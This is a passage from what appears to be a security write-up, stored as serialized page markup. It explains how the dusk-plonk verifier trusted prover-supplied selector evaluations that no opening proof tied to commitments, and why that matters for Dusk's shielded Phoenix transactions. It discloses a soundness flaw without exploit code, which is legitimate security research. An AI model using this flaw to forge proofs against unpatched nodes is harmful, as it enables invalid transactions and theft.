",{"type":23,"tag":2258,"props":145772,"children":145773},{},[145774],{"type":29,"value":145775},"opening proof",{"type":29,"value":145777}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":32,"props":145779,"children":145780},{},[145781],{"type":29,"value":145782},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":59,"props":145784,"children":145786},{"id":145785},"reducing-to-a-single-random-point",[145787],{"type":29,"value":145788},"Reducing to a single random point",{"type":23,"tag":32,"props":145790,"children":145791},{},[145792,145794,145834,145836,145861,145863,145985,145987,146012],{"type":29,"value":145793},"After the prover commits to all polynomials, including ",{"type":23,"tag":71,"props":145795,"children":145797},{"className":145796},[6318,6319],[145798],{"type":23,"tag":230,"props":145799,"children":145801},{"className":145800},[6324],[145802],{"type":23,"tag":230,"props":145803,"children":145805},{"className":145804,"ariaHidden":1726},[6329],[145806],{"type":23,"tag":230,"props":145807,"children":145809},{"className":145808},[6334],[145810,145814,145819,145824,145829],{"type":23,"tag":230,"props":145811,"children":145813},{"className":145812,"style":6447},[6339],[],{"type":23,"tag":230,"props":145815,"children":145817},{"className":145816,"style":23903},[6345,23902],[145818],{"type":29,"value":8324},{"type":23,"tag":230,"props":145820,"children":145822},{"className":145821},[24031],[145823],{"type":29,"value":302},{"type":23,"tag":230,"props":145825,"children":145827},{"className":145826},[6345,23902],[145828],{"type":29,"value":4511},{"type":23,"tag":230,"props":145830,"children":145832},{"className":145831},[24053],[145833],{"type":29,"value":5467},{"type":29,"value":145835},", the verifier picks a random challenge point ",{"type":23,"tag":71,"props":145837,"children":145839},{"className":145838},[6318,6319],[145840],{"type":23,"tag":230,"props":145841,"children":145843},{"className":145842},[6324],[145844],{"type":23,"tag":230,"props":145845,"children":145847},{"className":145846,"ariaHidden":1726},[6329],[145848],{"type":23,"tag":230,"props":145849,"children":145851},{"className":145850},[6334],[145852,145856],{"type":23,"tag":230,"props":145853,"children":145855},{"className":145854,"style":112667},[6339],[],{"type":23,"tag":230,"props":145857,"children":145859},{"className":145858,"style":115383},[6345,23902],[145860],{"type":29,"value":115386},{"type":29,"value":145862}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":71,"props":145864,"children":145866},{"className":145865},[6318,6319],[145867],{"type":23,"tag":230,"props":145868,"children":145870},{"className":145869},[6324],[145871],{"type":23,"tag":230,"props":145872,"children":145874},{"className":145873,"ariaHidden":1726},[6329],[145875,145916,145957],{"type":23,"tag":230,"props":145876,"children":145878},{"className":145877},[6334],[145879,145883,145888,145893,145898,145903,145907,145912],{"type":23,"tag":230,"props":145880,"children":145882},{"className":145881,"style":6447},[6339],[],{"type":23,"tag":230,"props":145884,"children":145886},{"className":145885,"style":23903},[6345,23902],[145887],{"type":29,"value":123604},{"type":23,"tag":230,"props":145889,"children":145891},{"className":145890},[24031],[145892],{"type":29,"value":302},{"type":23,"tag":230,"props":145894,"children":145896},{"className":145895,"style":115383},[6345,23902],[145897],{"type":29,"value":115386},{"type":23,"tag":230,"props":145899,"children":145901},{"className":145900},[24053],[145902],{"type":29,"value":5467},{"type":23,"tag":230,"props":145904,"children":145906},{"className":145905,"style":6524},[6426],[],{"type":23,"tag":230,"props":145908,"children":145910},{"className":145909},[6529],[145911],{"type":29,"value":863},{"type":23,"tag":230,"props":145913,"children":145915},{"className":145914,"style":6524},[6426],[],{"type":23,"tag":230,"props":145917,"children":145919},{"className":145918},[6334],[145920,145924,145929,145934,145939,145944,145948,145953],{"type":23,"tag":230,"props":145921,"children":145923},{"className":145922,"style":6447},[6339],[],{"type":23,"tag":230,"props":145925,"children":145927},{"className":145926,"style":23903},[6345,23902],[145928],{"type":29,"value":8324},{"type":23,"tag":230,"props":145930,"children":145932},{"className":145931},[24031],[145933],{"type":29,"value":302},{"type":23,"tag":230,"props":145935,"children":145937},{"className":145936,"style":115383},[6345,23902],[145938],{"type":29,"value":115386},{"type":23,"tag":230,"props":145940,"children":145942},{"className":145941},[24053],[145943],{"type":29,"value":5467},{"type":23,"tag":230,"props":145945,"children":145947},{"className":145946,"style":6427},[6426],[],{"type":23,"tag":230,"props":145949,"children":145951},{"className":145950},[6432],[145952],{"type":29,"value":113088},{"type":23,"tag":230,"props":145954,"children":145956},{"className":145955,"style":6427},[6426],[],{"type":23,"tag":230,"props":145958,"children":145960},{"className":145959},[6334],[145961,145965,145970,145975,145980],{"type":23,"tag":230,"props":145962,"children":145964},{"className":145963,"style":6447},[6339],[],{"type":23,"tag":230,"props":145966,"children":145968},{"className":145967,"style":24434},[6345,23902],[145969],{"type":29,"value":145390},{"type":23,"tag":230,"props":145971,"children":145973},{"className":145972},[24031],[145974],{"type":29,"value":302},{"type":23,"tag":230,"props":145976,"children":145978},{"className":145977,"style":115383},[6345,23902],[145979],{"type":29,"value":115386},{"type":23,"tag":230,"props":145981,"children":145983},{"className":145982},[24053],[145984],{"type":29,"value":5467},{"type":29,"value":145986}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":71,"props":145988,"children":145990},{"className":145989},[6318,6319],[145991],{"type":23,"tag":230,"props":145992,"children":145994},{"className":145993},[6324],[145995],{"type":23,"tag":230,"props":145996,"children":145998},{"className":145997,"ariaHidden":1726},[6329],[145999],{"type":23,"tag":230,"props":146000,"children":146002},{"className":146001},[6334],[146003,146007],{"type":23,"tag":230,"props":146004,"children":146006},{"className":146005,"style":112667},[6339],[],{"type":23,"tag":230,"props":146008,"children":146010},{"className":146009,"style":115383},[6345,23902],[146011],{"type":29,"value":115386},{"type":29,"value":146013}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":32,"props":146015,"children":146016},{},[146017,146019,146044,146046,146051],{"type":29,"value":146018},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":71,"props":146020,"children":146022},{"className":146021},[6318,6319],[146023],{"type":23,"tag":230,"props":146024,"children":146026},{"className":146025},[6324],[146027],{"type":23,"tag":230,"props":146028,"children":146030},{"className":146029,"ariaHidden":1726},[6329],[146031],{"type":23,"tag":230,"props":146032,"children":146034},{"className":146033},[6334],[146035,146039],{"type":23,"tag":230,"props":146036,"children":146038},{"className":146037,"style":112667},[6339],[],{"type":23,"tag":230,"props":146040,"children":146042},{"className":146041,"style":115383},[6345,23902],[146043],{"type":29,"value":115386},{"type":29,"value":146045},", the prover supplies ",{"type":23,"tag":2258,"props":146047,"children":146048},{},[146049],{"type":29,"value":146050},"evaluation claims",{"type":29,"value":146052}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":32,"props":146054,"children":146055},{},[146056,146058,146062],{"type":29,"value":146057},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":2258,"props":146059,"children":146060},{},[146061],{"type":29,"value":106370},{"type":29,"value":146063}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":59,"props":146065,"children":146067},{"id":146066},"what-the-verifier-is-actually-allowed-to-trust",[146068],{"type":29,"value":146069},"What the verifier is actually allowed to trust",{"type":23,"tag":32,"props":146071,"children":146072},{},[146073,146075,146080],{"type":29,"value":146074},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":2302,"props":146076,"children":146077},{},[146078],{"type":29,"value":146079},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":312},{"type":23,"tag":32,"props":146082,"children":146083},{},[146084,146086,146178,146179,146271,146273,146298,146300,146340,146341,146381,146382,146475,146476,146522,146524,146611,146612,146699,146700,146787],{"type":29,"value":146085},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":71,"props":146087,"children":146089},{"className":146088},[6318,6319],[146090],{"type":23,"tag":230,"props":146091,"children":146093},{"className":146092},[6324],[146094],{"type":23,"tag":230,"props":146095,"children":146097},{"className":146096,"ariaHidden":1726},[6329],[146098],{"type":23,"tag":230,"props":146099,"children":146101},{"className":146100},[6334],[146102,146106,146163,146168,146173],{"type":23,"tag":230,"props":146103,"children":146105},{"className":146104,"style":6447},[6339],[],{"type":23,"tag":230,"props":146107,"children":146109},{"className":146108},[6345],[146110,146115],{"type":23,"tag":230,"props":146111,"children":146113},{"className":146112,"style":24434},[6345,23902],[146114],{"type":29,"value":145390},{"type":23,"tag":230,"props":146116,"children":146118},{"className":146117},[6362],[146119],{"type":23,"tag":230,"props":146120,"children":146122},{"className":146121},[6367,23956],[146123,146152],{"type":23,"tag":230,"props":146124,"children":146126},{"className":146125},[6372],[146127,146147],{"type":23,"tag":230,"props":146128,"children":146130},{"className":146129,"style":144381},[6377],[146131],{"type":23,"tag":230,"props":146132,"children":146133},{"style":118075},[146134,146138],{"type":23,"tag":230,"props":146135,"children":146137},{"className":146136,"style":6387},[6386],[],{"type":23,"tag":230,"props":146139,"children":146141},{"className":146140},[6392,6393,6394,6395],[146142],{"type":23,"tag":230,"props":146143,"children":146145},{"className":146144,"style":95060},[6345,23902,6395],[146146],{"type":29,"value":95063},{"type":23,"tag":230,"props":146148,"children":146150},{"className":146149},[24059],[146151],{"type":29,"value":24062},{"type":23,"tag":230,"props":146153,"children":146155},{"className":146154},[6372],[146156],{"type":23,"tag":230,"props":146157,"children":146159},{"className":146158,"style":94909},[6377],[146160],{"type":23,"tag":230,"props":146161,"children":146162},{},[],{"type":23,"tag":230,"props":146164,"children":146166},{"className":146165},[24031],[146167],{"type":29,"value":302},{"type":23,"tag":230,"props":146169,"children":146171},{"className":146170,"style":115383},[6345,23902],[146172],{"type":29,"value":115386},{"type":23,"tag":230,"props":146174,"children":146176},{"className":146175},[24053],[146177],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":146180,"children":146182},{"className":146181},[6318,6319],[146183],{"type":23,"tag":230,"props":146184,"children":146186},{"className":146185},[6324],[146187],{"type":23,"tag":230,"props":146188,"children":146190},{"className":146189,"ariaHidden":1726},[6329],[146191],{"type":23,"tag":230,"props":146192,"children":146194},{"className":146193},[6334],[146195,146199,146256,146261,146266],{"type":23,"tag":230,"props":146196,"children":146198},{"className":146197,"style":6447},[6339],[],{"type":23,"tag":230,"props":146200,"children":146202},{"className":146201},[6345],[146203,146208],{"type":23,"tag":230,"props":146204,"children":146206},{"className":146205},[6345,23902],[146207],{"type":29,"value":119790},{"type":23,"tag":230,"props":146209,"children":146211},{"className":146210},[6362],[146212],{"type":23,"tag":230,"props":146213,"children":146215},{"className":146214},[6367,23956],[146216,146245],{"type":23,"tag":230,"props":146217,"children":146219},{"className":146218},[6372],[146220,146240],{"type":23,"tag":230,"props":146221,"children":146223},{"className":146222,"style":94878},[6377],[146224],{"type":23,"tag":230,"props":146225,"children":146226},{"style":94882},[146227,146231],{"type":23,"tag":230,"props":146228,"children":146230},{"className":146229,"style":6387},[6386],[],{"type":23,"tag":230,"props":146232,"children":146234},{"className":146233},[6392,6393,6394,6395],[146235],{"type":23,"tag":230,"props":146236,"children":146238},{"className":146237},[6345,6395],[146239],{"type":29,"value":6348},{"type":23,"tag":230,"props":146241,"children":146243},{"className":146242},[24059],[146244],{"type":29,"value":24062},{"type":23,"tag":230,"props":146246,"children":146248},{"className":146247},[6372],[146249],{"type":23,"tag":230,"props":146250,"children":146252},{"className":146251,"style":94909},[6377],[146253],{"type":23,"tag":230,"props":146254,"children":146255},{},[],{"type":23,"tag":230,"props":146257,"children":146259},{"className":146258},[24031],[146260],{"type":29,"value":302},{"type":23,"tag":230,"props":146262,"children":146264},{"className":146263,"style":115383},[6345,23902],[146265],{"type":29,"value":115386},{"type":23,"tag":230,"props":146267,"children":146269},{"className":146268},[24053],[146270],{"type":29,"value":5467},{"type":29,"value":146272},", the public-input polynomial at ",{"type":23,"tag":71,"props":146274,"children":146276},{"className":146275},[6318,6319],[146277],{"type":23,"tag":230,"props":146278,"children":146280},{"className":146279},[6324],[146281],{"type":23,"tag":230,"props":146282,"children":146284},{"className":146283,"ariaHidden":1726},[6329],[146285],{"type":23,"tag":230,"props":146286,"children":146288},{"className":146287},[6334],[146289,146293],{"type":23,"tag":230,"props":146290,"children":146292},{"className":146291,"style":112667},[6339],[],{"type":23,"tag":230,"props":146294,"children":146296},{"className":146295,"style":115383},[6345,23902],[146297],{"type":29,"value":115386},{"type":29,"value":146299},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":71,"props":146301,"children":146303},{"className":146302},[6318,6319],[146304],{"type":23,"tag":230,"props":146305,"children":146307},{"className":146306},[6324],[146308],{"type":23,"tag":230,"props":146309,"children":146311},{"className":146310,"ariaHidden":1726},[6329],[146312],{"type":23,"tag":230,"props":146313,"children":146315},{"className":146314},[6334],[146316,146320,146325,146330,146335],{"type":23,"tag":230,"props":146317,"children":146319},{"className":146318,"style":6447},[6339],[],{"type":23,"tag":230,"props":146321,"children":146323},{"className":146322},[6345,23902],[146324],{"type":29,"value":181},{"type":23,"tag":230,"props":146326,"children":146328},{"className":146327},[24031],[146329],{"type":29,"value":302},{"type":23,"tag":230,"props":146331,"children":146333},{"className":146332,"style":115383},[6345,23902],[146334],{"type":29,"value":115386},{"type":23,"tag":230,"props":146336,"children":146338},{"className":146337},[24053],[146339],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":146342,"children":146344},{"className":146343},[6318,6319],[146345],{"type":23,"tag":230,"props":146346,"children":146348},{"className":146347},[6324],[146349],{"type":23,"tag":230,"props":146350,"children":146352},{"className":146351,"ariaHidden":1726},[6329],[146353],{"type":23,"tag":230,"props":146354,"children":146356},{"className":146355},[6334],[146357,146361,146366,146371,146376],{"type":23,"tag":230,"props":146358,"children":146360},{"className":146359,"style":6447},[6339],[],{"type":23,"tag":230,"props":146362,"children":146364},{"className":146363},[6345,23902],[146365],{"type":29,"value":5561},{"type":23,"tag":230,"props":146367,"children":146369},{"className":146368},[24031],[146370],{"type":29,"value":302},{"type":23,"tag":230,"props":146372,"children":146374},{"className":146373,"style":115383},[6345,23902],[146375],{"type":29,"value":115386},{"type":23,"tag":230,"props":146377,"children":146379},{"className":146378},[24053],[146380],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":146383,"children":146385},{"className":146384},[6318,6319],[146386],{"type":23,"tag":230,"props":146387,"children":146389},{"className":146388},[6324],[146390],{"type":23,"tag":230,"props":146391,"children":146393},{"className":146392,"ariaHidden":1726},[6329],[146394],{"type":23,"tag":230,"props":146395,"children":146397},{"className":146396},[6334],[146398,146402,146460,146465,146470],{"type":23,"tag":230,"props":146399,"children":146401},{"className":146400,"style":6447},[6339],[],{"type":23,"tag":230,"props":146403,"children":146405},{"className":146404},[6345],[146406,146412],{"type":23,"tag":230,"props":146407,"children":146409},{"className":146408,"style":95312},[6345,23902],[146410],{"type":29,"value":146411},"σ",{"type":23,"tag":230,"props":146413,"children":146415},{"className":146414},[6362],[146416],{"type":23,"tag":230,"props":146417,"children":146419},{"className":146418},[6367,23956],[146420,146449],{"type":23,"tag":230,"props":146421,"children":146423},{"className":146422},[6372],[146424,146444],{"type":23,"tag":230,"props":146425,"children":146427},{"className":146426,"style":94878},[6377],[146428],{"type":23,"tag":230,"props":146429,"children":146430},{"style":95359},[146431,146435],{"type":23,"tag":230,"props":146432,"children":146434},{"className":146433,"style":6387},[6386],[],{"type":23,"tag":230,"props":146436,"children":146438},{"className":146437},[6392,6393,6394,6395],[146439],{"type":23,"tag":230,"props":146440,"children":146442},{"className":146441},[6345,6395],[146443],{"type":29,"value":6348},{"type":23,"tag":230,"props":146445,"children":146447},{"className":146446},[24059],[146448],{"type":29,"value":24062},{"type":23,"tag":230,"props":146450,"children":146452},{"className":146451},[6372],[146453],{"type":23,"tag":230,"props":146454,"children":146456},{"className":146455,"style":94909},[6377],[146457],{"type":23,"tag":230,"props":146458,"children":146459},{},[],{"type":23,"tag":230,"props":146461,"children":146463},{"className":146462},[24031],[146464],{"type":29,"value":302},{"type":23,"tag":230,"props":146466,"children":146468},{"className":146467,"style":115383},[6345,23902],[146469],{"type":29,"value":115386},{"type":23,"tag":230,"props":146471,"children":146473},{"className":146472},[24053],[146474],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":146477,"children":146479},{"className":146478},[6318,6319],[146480],{"type":23,"tag":230,"props":146481,"children":146483},{"className":146482},[6324],[146484],{"type":23,"tag":230,"props":146485,"children":146487},{"className":146486,"ariaHidden":1726},[6329],[146488],{"type":23,"tag":230,"props":146489,"children":146491},{"className":146490},[6334],[146492,146496,146501,146506,146511,146517],{"type":23,"tag":230,"props":146493,"children":146495},{"className":146494,"style":6447},[6339],[],{"type":23,"tag":230,"props":146497,"children":146499},{"className":146498},[6345,23902],[146500],{"type":29,"value":181},{"type":23,"tag":230,"props":146502,"children":146504},{"className":146503},[24031],[146505],{"type":29,"value":302},{"type":23,"tag":230,"props":146507,"children":146509},{"className":146508,"style":115383},[6345,23902],[146510],{"type":29,"value":115386},{"type":23,"tag":230,"props":146512,"children":146514},{"className":146513,"style":95312},[6345,23902],[146515],{"type":29,"value":146516},"ω",{"type":23,"tag":230,"props":146518,"children":146520},{"className":146519},[24053],[146521],{"type":29,"value":5467},{"type":29,"value":146523},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":71,"props":146525,"children":146527},{"className":146526},[6318,6319],[146528],{"type":23,"tag":230,"props":146529,"children":146531},{"className":146530},[6324],[146532],{"type":23,"tag":230,"props":146533,"children":146535},{"className":146534,"ariaHidden":1726},[6329],[146536],{"type":23,"tag":230,"props":146537,"children":146539},{"className":146538},[6334],[146540,146544,146549,146606],{"type":23,"tag":230,"props":146541,"children":146543},{"className":146542,"style":6447},[6339],[],{"type":23,"tag":230,"props":146545,"children":146547},{"className":146546},[24031],[146548],{"type":29,"value":6069},{"type":23,"tag":230,"props":146550,"children":146552},{"className":146551},[6345],[146553,146558],{"type":23,"tag":230,"props":146554,"children":146556},{"className":146555,"style":95312},[6345,23902],[146557],{"type":29,"value":95315},{"type":23,"tag":230,"props":146559,"children":146561},{"className":146560},[6362],[146562],{"type":23,"tag":230,"props":146563,"children":146565},{"className":146564},[6367,23956],[146566,146595],{"type":23,"tag":230,"props":146567,"children":146569},{"className":146568},[6372],[146570,146590],{"type":23,"tag":230,"props":146571,"children":146573},{"className":146572,"style":144381},[6377],[146574],{"type":23,"tag":230,"props":146575,"children":146576},{"style":95359},[146577,146581],{"type":23,"tag":230,"props":146578,"children":146580},{"className":146579,"style":6387},[6386],[],{"type":23,"tag":230,"props":146582,"children":146584},{"className":146583},[6392,6393,6394,6395],[146585],{"type":23,"tag":230,"props":146586,"children":146588},{"className":146587,"style":96834},[6345,23902,6395],[146589],{"type":29,"value":96837},{"type":23,"tag":230,"props":146591,"children":146593},{"className":146592},[24059],[146594],{"type":29,"value":24062},{"type":23,"tag":230,"props":146596,"children":146598},{"className":146597},[6372],[146599],{"type":23,"tag":230,"props":146600,"children":146602},{"className":146601,"style":94909},[6377],[146603],{"type":23,"tag":230,"props":146604,"children":146605},{},[],{"type":23,"tag":230,"props":146607,"children":146609},{"className":146608},[24053],[146610],{"type":29,"value":17735},{"type":29,"value":684},{"type":23,"tag":71,"props":146613,"children":146615},{"className":146614},[6318,6319],[146616],{"type":23,"tag":230,"props":146617,"children":146619},{"className":146618},[6324],[146620],{"type":23,"tag":230,"props":146621,"children":146623},{"className":146622,"ariaHidden":1726},[6329],[146624],{"type":23,"tag":230,"props":146625,"children":146627},{"className":146626},[6334],[146628,146632,146637,146694],{"type":23,"tag":230,"props":146629,"children":146631},{"className":146630,"style":6447},[6339],[],{"type":23,"tag":230,"props":146633,"children":146635},{"className":146634},[24031],[146636],{"type":29,"value":6069},{"type":23,"tag":230,"props":146638,"children":146640},{"className":146639},[6345],[146641,146646],{"type":23,"tag":230,"props":146642,"children":146644},{"className":146643,"style":95312},[6345,23902],[146645],{"type":29,"value":95315},{"type":23,"tag":230,"props":146647,"children":146649},{"className":146648},[6362],[146650],{"type":23,"tag":230,"props":146651,"children":146653},{"className":146652},[6367,23956],[146654,146683],{"type":23,"tag":230,"props":146655,"children":146657},{"className":146656},[6372],[146658,146678],{"type":23,"tag":230,"props":146659,"children":146661},{"className":146660,"style":144381},[6377],[146662],{"type":23,"tag":230,"props":146663,"children":146664},{"style":95359},[146665,146669],{"type":23,"tag":230,"props":146666,"children":146668},{"className":146667,"style":6387},[6386],[],{"type":23,"tag":230,"props":146670,"children":146672},{"className":146671},[6392,6393,6394,6395],[146673],{"type":23,"tag":230,"props":146674,"children":146676},{"className":146675,"style":94826},[6345,23902,6395],[146677],{"type":29,"value":117145},{"type":23,"tag":230,"props":146679,"children":146681},{"className":146680},[24059],[146682],{"type":29,"value":24062},{"type":23,"tag":230,"props":146684,"children":146686},{"className":146685},[6372],[146687],{"type":23,"tag":230,"props":146688,"children":146690},{"className":146689,"style":94909},[6377],[146691],{"type":23,"tag":230,"props":146692,"children":146693},{},[],{"type":23,"tag":230,"props":146695,"children":146697},{"className":146696},[24053],[146698],{"type":29,"value":17735},{"type":29,"value":684},{"type":23,"tag":71,"props":146701,"children":146703},{"className":146702},[6318,6319],[146704],{"type":23,"tag":230,"props":146705,"children":146707},{"className":146706},[6324],[146708],{"type":23,"tag":230,"props":146709,"children":146711},{"className":146710,"ariaHidden":1726},[6329],[146712],{"type":23,"tag":230,"props":146713,"children":146715},{"className":146714},[6334],[146716,146720,146725,146782],{"type":23,"tag":230,"props":146717,"children":146719},{"className":146718,"style":6447},[6339],[],{"type":23,"tag":230,"props":146721,"children":146723},{"className":146722},[24031],[146724],{"type":29,"value":6069},{"type":23,"tag":230,"props":146726,"children":146728},{"className":146727},[6345],[146729,146734],{"type":23,"tag":230,"props":146730,"children":146732},{"className":146731,"style":95312},[6345,23902],[146733],{"type":29,"value":146411},{"type":23,"tag":230,"props":146735,"children":146737},{"className":146736},[6362],[146738],{"type":23,"tag":230,"props":146739,"children":146741},{"className":146740},[6367,23956],[146742,146771],{"type":23,"tag":230,"props":146743,"children":146745},{"className":146744},[6372],[146746,146766],{"type":23,"tag":230,"props":146747,"children":146749},{"className":146748,"style":94878},[6377],[146750],{"type":23,"tag":230,"props":146751,"children":146752},{"style":95359},[146753,146757],{"type":23,"tag":230,"props":146754,"children":146756},{"className":146755,"style":6387},[6386],[],{"type":23,"tag":230,"props":146758,"children":146760},{"className":146759},[6392,6393,6394,6395],[146761],{"type":23,"tag":230,"props":146762,"children":146764},{"className":146763},[6345,6395],[146765],{"type":29,"value":19849},{"type":23,"tag":230,"props":146767,"children":146769},{"className":146768},[24059],[146770],{"type":29,"value":24062},{"type":23,"tag":230,"props":146772,"children":146774},{"className":146773},[6372],[146775],{"type":23,"tag":230,"props":146776,"children":146778},{"className":146777,"style":94909},[6377],[146779],{"type":23,"tag":230,"props":146780,"children":146781},{},[],{"type":23,"tag":230,"props":146783,"children":146785},{"className":146784},[24053],[146786],{"type":29,"value":17735},{"type":29,"value":146788},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":32,"props":146790,"children":146791},{},[146792],{"type":29,"value":146793},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":21113,"props":146795,"children":146796},{},[],{"type":23,"tag":24,"props":146798,"children":146800},{"id":146799},"where-dusk-plonk-differs-from-textbook-plonk",[146801],{"type":29,"value":146802},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":32,"props":146804,"children":146805},{},[146806,146815,146817,146822,146824,146854],{"type":23,"tag":181,"props":146807,"children":146809},{"href":143681,"rel":146808},[185],[146810],{"type":23,"tag":71,"props":146811,"children":146813},{"className":146812},[],[146814],{"type":29,"value":143685},{"type":29,"value":146816}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":71,"props":146818,"children":146820},{"className":146819},[],[146821],{"type":29,"value":72341},{"type":29,"value":146823},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":71,"props":146825,"children":146827},{"className":146826},[6318,6319],[146828],{"type":23,"tag":230,"props":146829,"children":146831},{"className":146830},[6324],[146832],{"type":23,"tag":230,"props":146833,"children":146835},{"className":146834,"ariaHidden":1726},[6329],[146836],{"type":23,"tag":230,"props":146837,"children":146839},{"className":146838},[6334],[146840,146844,146849],{"type":23,"tag":230,"props":146841,"children":146843},{"className":146842,"style":112667},[6339],[],{"type":23,"tag":230,"props":146845,"children":146847},{"className":146846,"style":115383},[6345,23902],[146848],{"type":29,"value":115386},{"type":23,"tag":230,"props":146850,"children":146852},{"className":146851,"style":95312},[6345,23902],[146853],{"type":29,"value":146516},{"type":29,"value":146855},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":32,"props":146857,"children":146858},{},[146859,146861,146866,146867,146872,146874,146880,146882,146889],{"type":29,"value":146860},"The important part for this bug is the boundary between ",{"type":23,"tag":2302,"props":146862,"children":146863},{},[146864],{"type":29,"value":146865},"public circuit data",{"type":29,"value":112},{"type":23,"tag":2302,"props":146868,"children":146869},{},[146870],{"type":29,"value":146871},"prover claims about that data at the random challenge point",{"type":29,"value":146873},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":71,"props":146875,"children":146877},{"className":146876},[],[146878],{"type":29,"value":146879},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":146881}," directly into the ",{"type":23,"tag":181,"props":146883,"children":146886},{"href":146884,"rel":146885},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[185],[146887],{"type":29,"value":146888},"linearization multi-scalar multiplication",{"type":29,"value":146890},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":32,"props":146892,"children":146893},{},[146894,146896,146921],{"type":29,"value":146895},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":71,"props":146897,"children":146899},{"className":146898},[6318,6319],[146900],{"type":23,"tag":230,"props":146901,"children":146903},{"className":146902},[6324],[146904],{"type":23,"tag":230,"props":146905,"children":146907},{"className":146906,"ariaHidden":1726},[6329],[146908],{"type":23,"tag":230,"props":146909,"children":146911},{"className":146910},[6334],[146912,146916],{"type":23,"tag":230,"props":146913,"children":146915},{"className":146914,"style":112667},[6339],[],{"type":23,"tag":230,"props":146917,"children":146919},{"className":146918,"style":115383},[6345,23902],[146920],{"type":29,"value":115386},{"type":29,"value":146922}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":32,"props":146924,"children":146925},{},[146926],{"type":29,"value":146927},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":146929,"props":146930,"children":146931},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":21113,"props":146933,"children":146934},{},[],{"type":23,"tag":24,"props":146936,"children":146938},{"id":146937},"how-dusk-uses-plonk",[146939],{"type":29,"value":146940},"How Dusk uses PLONK",{"type":23,"tag":32,"props":146942,"children":146943},{},[146944,146950],{"type":23,"tag":181,"props":146945,"children":146947},{"href":143690,"rel":146946},[185],[146948],{"type":29,"value":146949},"Dusk Network",{"type":29,"value":146951}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":98,"props":146953,"children":146954},{},[146955,146960],{"type":23,"tag":102,"props":146956,"children":146957},{},[146958],{"type":29,"value":146959},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":102,"props":146961,"children":146962},{},[146963],{"type":29,"value":146964},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":32,"props":146966,"children":146967},{},[146968,146970,146981,146983,146994],{"type":29,"value":146969},"At node level, every ",{"type":23,"tag":181,"props":146971,"children":146974},{"href":146972,"rel":146973},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[185],[146975],{"type":23,"tag":71,"props":146976,"children":146978},{"className":146977},[],[146979],{"type":29,"value":146980},"ProtocolTransaction::Phoenix",{"type":29,"value":146982}," goes through ",{"type":23,"tag":181,"props":146984,"children":146987},{"href":146985,"rel":146986},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[185],[146988],{"type":23,"tag":71,"props":146989,"children":146991},{"className":146990},[],[146992],{"type":29,"value":146993},"verify_proof_with_version()",{"type":29,"value":146995}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":32,"props":146997,"children":146998},{},[146999,147001,147012,147014,147025,147026,147037,147038,147049,147050,147061],{"type":29,"value":147000},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via 